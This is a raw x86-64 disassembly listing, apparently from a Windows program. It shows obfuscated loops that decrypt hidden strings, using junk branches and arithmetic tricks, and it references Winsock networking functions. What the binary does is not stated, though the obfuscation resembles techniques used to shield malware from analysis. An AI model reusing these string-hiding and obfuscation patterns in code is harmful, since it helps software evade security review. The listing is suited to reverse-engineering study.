jl 0x14016b600
mov r8, r15
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x2e0]
call fcn.1401a2160
nop
mov r9, r15
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9d0]
call fcn.1401a4ba0
nop
lea rcx, [rbp + 0x2e0]
call fcn.140135de0
nop
lea rcx, [rbp + 0x2d0]
call fcn.140135de0
mov dword [rbp + 0xa98], edi
mov rax, qword [rbp + 0x930]
sub rax, qword [rbp + 0x928]
sar rax, 3
test rax, rax
je 0x14016dc7d
mov qword [rsp + 0x30], rdi
movzx r12d, byte [rbp + 0xa98]
movzx r13d, byte [rbp + 0xa98]
movzx r14d, byte [rbp + 0xa98]
movzx r15d, byte [rbp + 0xa98]
movzx esi, byte [rbp + 0xa98]
movzx edi, byte [rbp + 0xa98]
mov qword [rbp + 0x48], rdi
movzx ecx, byte [rbp + 0xa98]
mov qword [rbp + 0x50], rcx
movzx ebx, byte [rbp + 0xa98]
mov qword [rbp + 0x58], rbx
nop word [rax + rax]
movzx edx, r12b
lea rcx, [rbp + 0x738]
call fcn.140136a10
lea rcx, [rbp + 0x738]
call fcn.140136320
nop
movzx edx, byte [rbp + 0xa98]
lea rcx, [rbp + 0x758]
call fcn.140136a10
lea rcx, [rbp + 0x758]
call fcn.140136320
nop
movzx edx, r13b
lea rcx, [rbp + 0x778]
call fcn.140136a10
lea rcx, [rbp + 0x778]
call fcn.140136320
nop
mov rax, qword [rsp + 0x30]
lea rcx, [rax*8]
mov qword [rsp + 0x30], rcx
mov rax, qword [rbp + 0x928]
add rax, rcx
mov qword [rsp + 0x38], rax
mov dword [rbp + 0x420], 0x7779835c
mov dword [rbp + 0x424], 0x78a7685
xor eax, eax
mov qword [rbp + 0x428], rax
mov dword [rbp + 0x430], eax
nop
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor r11d, r11d
cmp r11, 0x14
jae 0x14016c022
movzx r10d, byte [rbp + r11 + 0x420]
mov edx, r10d
mov qword [rsp + 0x20], rdx
nop
cmp r8, r11
ja 0x14016c019
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14016b7f5
movabs rcx, 0xaf66bae37790d182
add rcx, r11
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x72
jmp 0x14016b822
je 0x14016bf84
lea rax, [r9 + 2]
cmp r8, rax
je 0x14016bf06
lea rax, [r9 + 3]
cmp r8, rax
je 0x14016becf
lea rax, [r9 + 7]
cmp r8, rax
je 0x14016be80
cmp r9, r11
ja 0x14016c00c
lea rax, [r9 + 9]
cmp r8, rax
jae 0x14016b84e
lea ecx, [r11 - 0x56]
movzx eax, cl
and al, r10b
mov edx, 0x2d
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
jmp 0x14016b885
lea rax, [r9 + 1]
cmp r8, rax
je 0x14016be71
inc rax
cmp r8, rax
je 0x14016be44
lea rax, [r9 + 3]
cmp r8, rax
je 0x14016be1a
lea rax, [r9 + 4]
cmp r8, rax
je 0x14016be04
movzx edx, dil
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x14016bb16
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14016bafc
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14016bad3
lea rax, [r9 + 9]
cmp r8, rax
je 0x14016baba
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14016ba9d
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14016bfe6
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14016bfc0
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14016b95f
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14016b9d8
lea r8, [r9 + 8]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14016b9bf
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14016b9a2
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14016b988
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14016b8a0
lea r8, [r9 + 0x10]
lea r9, [r8 + 6]
jmp 0x14016b8a0
lea edx, [r11 - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx edi, cl
mov qword [rbp + 0x48], rdi
mov rdx, qword [rsp + 0x20]
jmp 0x14016b7c0
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
add cl, cl
add cl, dl
jmp 0x14016bee0
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x6c
add cl, r10b
mov qword [rbp + 0x48], rcx
jmp 0x14016bf52
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x50
add cl, r10b
jmp 0x14016bfa1
lea ecx, [r11 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x36
mov qword [rbp + 0x48], rdi
lea rax, [r8 + r9]
cmp rax, 0x400
je 0x14016bdea
lea rcx, [r9 + 1]
mov qword [rsp + 0x20], rcx
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x14016bc2b
lea edx, [r11 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
mov qword [rbp + 0x48], rdi
lea rdx, [r9 + 2]
mov rcx, qword [rsp + 0x20]
cmp r8, 0x7a
jae 0x14016bdaa
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x14016bce4
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x7c
add cl, r10b
movzx edi, cl
mov qword [rbp + 0x48], rdi
cmp r9, 0xa
jb 0x14016bd9a
lea ecx, [r11 - 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
add cl, cl
sub cl, 0x28
movzx edi, r11b
jmp 0x14016be9b
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
jmp 0x14016bf23
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x58
add cl, r10b
jmp 0x14016bdc1
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x20
add cl, r10b
mov qword [rbp + 0x48], rcx
inc r9
mov rdi, rcx
dec r11
inc r11
jmp 0x14016b7a3
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 4
movzx edi, r11b
jmp 0x14016be98
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x14016bb3e
lea edx, [r11 - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, 0x39
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14016b9ee
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016bb60
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r10b
jmp 0x14016bfa1
inc rax
cmp r8, rax
jne 0x14016bb85
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x68
add cl, r10b
mov qword [rbp + 0x48], rcx
jmp 0x14016bf52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016bbab
lea edx, [r11 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
jmp 0x14016bf23
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14016bbd7
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
mov qword [rbp + 0x48], rdi
jmp 0x14016beed
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14016bbfd
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
jmp 0x14016bdc1
movzx edi, dl
mov qword [rbp + 0x48], rdi
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14016b9f2
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x2c
movzx edi, r11b
jmp 0x14016be98
cmp r8, rcx
jne 0x14016bc42
lea edx, [r11 - 2]
mov ecx, 7
movzx edi, r11b
jmp 0x14016be8c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016bc71
lea ecx, [r11 + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x2a
add cl, r10b
movzx edi, cl
mov qword [rbp + 0x48], rdi
dec r11
inc r11
jmp 0x14016b7a3
lea rdx, [r9 + 2]
cmp r8, rdx
jne 0x14016bc90
lea ecx, [r11 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x62
jmp 0x14016bee0
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14016bcb6
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostbyaddr
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
jmp 0x14016bf23
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14016ba3f
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, 0x25
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov qword [rbp + 0x48], rcx
jmp 0x14016bf52
cmp r8, rcx
jne 0x14016bd06
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
jmp 0x14016bfa1
cmp r8, rdx
jne 0x14016bd28
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
jmp 0x14016bf23
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016bd54
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
mov qword [rbp + 0x48], rdi
jmp 0x14016beed
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14016bd73
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x24
add cl, r10b
jmp 0x14016bdc1
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14016ba74
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x78
movzx edi, r11b
jmp 0x14016be98
mov byte [rbp + r11 + 0x420], dil
inc r11
jmp 0x14016b7a3
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x28
add cl, cl
add cl, dl
movzx edx, r11b
add dl, 0x52
movzx eax, r10b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x3e
add r10b, dl
add r10b, cl
mov byte [rbp + r11 + 0x420], r10b
jmp 0x14016bee3
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, dl
jmp 0x14016bf23
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x32
jmp 0x14016bee0
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx edi, cl
mov qword [rbp + 0x48], rdi
dec r11
inc r11
jmp 0x14016b7a3
lea edx, [r11 - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov qword [rbp + 0x48], rcx
inc r9
mov rdi, rcx
dec r11
inc r11
jmp 0x14016b7a3
lea edx, [r11 - 0x52]
mov ecx, 0x1f
movzx edi, r11b
jmp 0x14016be8c
movzx edi, r11b
lea edx, [rdi - 0x5a]
mov ecx, 0x3b
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
add dil, 0x4e
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0x22
add r10b, dil
mov byte [rbp + r11 + 0x420], r10b
mov qword [rbp + 0x48], rcx
inc r9
mov rdi, rcx
dec r11
inc r11
jmp 0x14016b7a3
lea ecx, [r11 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x1a
add cl, r10b
mov qword [rbp + 0x48], rcx
add r8, r9
mov rdi, rcx
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14016b7a3
movabs rcx, 0xcbcf1c3844f5ba8e
add rcx, r11
and dl, cl
mov eax, reloc.WS2_32.dll_ntohs
sub al, dl
add al, al
add al, r10b
add cl, al
mov qword [rbp + 0x48], rcx
movzx ecx, r11b
add cl, 0x56
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x5a
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x420], al
inc r9
add rax, r9
sub r11, rax
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x420], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
jmp 0x14016bfa5
movabs rcx, 0xe3430aa66b27486
add rcx, r11
and dl, cl
mov eax, 0x2b
sub al, dl
add al, al
add al, r10b
add cl, al
mov qword [rbp + 0x48], rcx
movzx eax, byte [rbp + r11 + 0x420]
add rax, r9
add r11, rax
mov rdi, qword [rbp + 0x48]
inc r11
jmp 0x14016b7a3
sub r11b, 0x76
movzx eax, r11b
and al, r10b
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
movzx edi, cl
mov qword [rbp + 0x48], rdi
jmp 0x14016b7a0
sub r11b, 0x7a
movzx eax, r11b
and al, r10b
mov ecx, 0x2b
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
movzx edi, cl
mov qword [rbp + 0x48], rdi
jmp 0x14016b790
mov qword [rbp + 0x48], rdi
lea rdi, [rbp + 0x14cc778]
jmp 0x14016c029
lea rdi, [rbp + 0xdd98fa]
jmp 0x14016c029
lea rdi, [rbp + 0x420]
movzx edx, r14b
lea rcx, [rbp + 0x798]
call fcn.140136a10
nop
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], 0
jne 0x14016c041
mov rdx, rdi
lea rcx, [rbp + 0x798]
call fcn.14013ab10
nop
lea r8, [rbp + 0x738]
lea rdx, [rbp + 0x798]
mov rcx, qword [rsp + 0x38]
call fcn.140153a90
nop
lea rcx, [rbp + 0x798]
call fcn.1401362c0
mov rax, qword [rbp + 0x928]
mov rcx, qword [rsp + 0x30]
add rax, rcx
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x481], 0xe6f8ccd9
mov dword [rbp + 0x485], 0xebf9c8f2
mov dword [rbp + 0x489], 0xedffebe9
mov byte [rbp + 0x48d], 0x60
xor eax, eax
mov qword [rbp + 0x48e], rax
mov dword [rbp + 0x496], eax
mov word [rbp + 0x49a], ax
nop
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor r11d, r11d
cmp r11, 0x1b
jae 0x14016ca24
movzx r10d, byte [rbp + r11 + 0x481]
mov edi, r10d
mov rdx, qword [rbp + 0x50]
nop dword [rax]
cmp r8, r11
ja 0x14016ca1b
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14016c134
movabs rcx, 0x3fb93e982f9dea92
add rcx, r11
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
add dl, 2
jmp 0x14016c16d
je 0x14016c98e
inc rax
cmp r8, rax
je 0x14016c8f8
lea rax, [r9 + 5]
cmp r8, rax
je 0x14016c8c1
lea rax, [r9 + 2]
cmp r8, rax
je 0x14016c89a
lea rax, [r9 + 8]
cmp r8, rax
je 0x14016c84e
nop dword [rax]
cmp r9, r11
ja 0x14016ca0e
lea rax, [r9 + 8]
cmp r8, rax
jae 0x14016c1a3
lea edx, [r11 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx edx, cl
mov qword [rbp + 0x50], rdx
jmp 0x14016c1f0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14016c83f
lea rax, [r9 + 3]
cmp r8, rax
je 0x14016c834
lea rax, [r9 + 5]
cmp r8, rax
je 0x14016c826
lea rax, [r9 + 4]
cmp r8, rax
je 0x14016c809
mov qword [rbp + 0x50], rdx
lea rax, [r9 + 7]
cmp r8, rax
je 0x14016c7ec
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x14016c58c
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14016c56e
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14016c547
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14016c523
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14016c508
lea rax, [r9 + 2]
cmp r8, rax
je 0x14016c4ec
lea rax, [r9 + 5]
cmp r8, rax
je 0x14016c4d2
lea r8, [r9 + 0x40]
lea r9, [r8 + 9]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14016c9eb
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14016c9c8
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14016c340
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14016c31c
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14016c456
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14016c427
lea r8, [r9 + 0x41]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14016c40a
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14016c3e9
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14016c3cc
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14016c3ab
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14016c38e
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14016c364
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14016c200
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x10]
jmp 0x14016c200
lea edx, [r11 + 0x46]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_addr
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
movzx edx, cl
mov qword [rbp + 0x50], rdx
jmp 0x14016c1f0
lea edx, [r11 - 2]
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
movzx edx, cl
mov qword [rbp + 0x50], rdx
jmp 0x14016c100
lea edx, [r11 - 0x54]
movzx eax, r10b
and al, dl
mov ecx, 0x26
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
inc r9
mov qword [rbp + 0x50], rcx
dec r11
inc r11
jmp 0x14016c0e3
lea edx, [r11 + 0x64]
movzx eax, r10b
and al, dl
mov ecx, 0x22
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
jmp 0x14016c7a2
lea edx, [r11 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov qword [rbp + 0x50], rdx
jmp 0x14016c8e0
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
jmp 0x14016c917
lea edx, [r11 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov qword [rbp + 0x50], rcx
jmp 0x14016c949
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
jmp 0x14016c9ad
lea edx, [r11 - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
movzx edx, cl
mov qword [rbp + 0x50], rdx
mov byte [rbp + r11 + 0x481], dl
inc r11
jmp 0x14016c0e3
lea edx, [r11 - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
movzx edx, cl
mov qword [rbp + 0x50], rdx
cmp r8, 2
jae 0x14016c788
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x14016c6ed
lea edx, [r11 - 0x3c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x5c
add cl, dl
movzx edx, cl
mov qword [rbp + 0x50], rdx
cmp r9, 0x28
jb 0x14016c446
lea edx, [r11 + 0x2c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
add cl, cl
sub cl, 0x68
movzx edi, r11b
jmp 0x14016c869
lea ecx, [r11 - 0x24]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub cl, 4
add cl, r10b
jmp 0x14016c9ad
lea edx, [r11 - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0xc
add cl, dl
jmp 0x14016c917
lea ecx, [r11 + 0x4c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x14
jmp 0x14016c8d9
lea ecx, [r11 + 4]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub cl, 0x1c
add cl, r10b
mov qword [rbp + 0x50], rcx
dec r11
inc r11
jmp 0x14016c0e3
lea ecx, [r11 - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub cl, 0x20
add cl, r10b
inc r9
mov qword [rbp + 0x50], rcx
dec r11
inc r11
jmp 0x14016c0e3
lea edx, [r11 - 0x44]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x24
movzx edi, r11b
jmp 0x14016c867
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x14016c5e3
lea edx, [r11 - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
movzx edx, cl
mov qword [rbp + 0x50], rdx
lea rax, [r9 + r8]
cmp rax, 1
je 0x14016c7cd
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x14016c659
lea edx, [r11 - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
jmp 0x14016c465
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016c609
lea edx, [r11 - 0xc]
movzx eax, r10b
and al, dl
mov ecx, 0x2a
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
jmp 0x14016c9ad
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14016c62f
lea edx, [r11 + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, 0x2e
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
jmp 0x14016c917
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14016c5b4
lea edx, [r11 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
jmp 0x14016c7a2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016c674
lea edx, [r11 - 0x12]
mov ecx, 0x3f
movzx edi, r11b
jmp 0x14016c85a
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14016c6a1
lea ecx, [r11 + 0x36]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub cl, 0x7a
add cl, r10b
mov qword [rbp + 0x50], rcx
dec r11
inc r11
jmp 0x14016c0e3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016c6c6
lea edx, [r11 - 0x3a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x6a
add cl, dl
jmp 0x14016c917
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14016c475
lea ecx, [r11 + 0xe]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub cl, 0x62
add cl, r10b
jmp 0x14016c9ad
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016c710
lea ecx, [r11 - 0x18]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub cl, 0x58
add cl, r10b
jmp 0x14016c9ad
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016c735
lea edx, [r11 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x50
add cl, dl
jmp 0x14016c917
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14016c75d
lea ecx, [r11 + 0x54]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x4c
mov qword [rbp + 0x50], rdx
jmp 0x14016c8e0
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14016c4aa
lea edx, [r11 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x38
movzx edi, r11b
jmp 0x14016c867
lea edx, [r11 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x30
add cl, dl
add cl, r10b
mov qword [rbp + 0x50], rcx
lea edx, [r11 - 0x1e]
movzx eax, dl
and al, r10b
add al, al
sub cl, al
sub dl, 0x2e
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x481], cl
mov rdx, qword [rbp + 0x50]
jmp 0x14016c8dd
lea edx, [r11 + 0x74]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, r10b
sub dl, 0x2c
add cl, dl
jmp 0x14016c917
lea edx, [r11 + 0x3e]
movzx eax, r10b
and al, dl
mov ecx, 0x27
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
jmp 0x14016c9ad
lea edx, [r11 - 0xa]
movzx eax, r10b
and al, dl
mov ecx, 0x23
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
jmp 0x14016c917
lea edx, [r11 - 0x52]
mov ecx, 0x1f
jmp 0x14016c8ca
lea edx, [r11 + 0x66]
mov ecx, 0x1b
jmp 0x14016c8a3
lea edx, [r11 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
movzx edi, r11b
jmp 0x14016c85a
movzx edi, r11b
lea edx, [rdi - 0x2a]
mov ecx, reloc.WS2_32.dll_send
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
sub dil, 0x42
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 0x32
add dil, r10b
mov byte [rbp + r11 + 0x481], dil
inc r9
mov qword [rbp + 0x50], rcx
dec r11
inc r11
jmp 0x14016c0e3
lea edx, [r11 - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov qword [rbp + 0x50], rcx
dec r11
inc r11
jmp 0x14016c0e3
lea edx, [r11 + 0x46]
mov ecx, reloc.WS2_32.dll_inet_addr
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
mov qword [rbp + 0x50], rdx
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14016c0e3
movabs rcx, 0xbe10b6294d5169fe
add rcx, r11
and dil, cl
mov eax, 7
sub al, dil
add al, al
add al, r10b
add cl, al
movzx edx, r11b
mov qword [rbp + 0x50], rcx
add dl, 6
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x2a
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x481], al
inc r9
add rax, r9
sub r11, rax
lea ecx, [r11 - 0x68]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x28
add r10b, cl
mov byte [rbp + r11 + 0x481], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x481]
add rax, r9
add r11, rax
inc r11
jmp 0x14016c0e3
movabs rcx, 0xbf2bbbc88ed9bfb6
add rcx, r11
and dil, cl
mov eax, 3
sub al, dil
add al, al
add al, r10b
add cl, al
mov qword [rbp + 0x50], rcx
movzx eax, byte [rbp + r11 + 0x481]
add rax, r9
add r11, rax
inc r11
jmp 0x14016c0e3
sub r11b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
mov qword [rbp + 0x50], rcx
jmp 0x14016c0e0
sub r11b, 0x4a
movzx eax, r10b
and al, r11b
mov ecx, 3
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
mov qword [rbp + 0x50], rcx
jmp 0x14016c0d0
lea rdi, [rbp + 0x1599e99]
mov qword [rbp + 0x50], rdx
jmp 0x14016ca2b
lea rdi, [rbp + 0xf7892b]
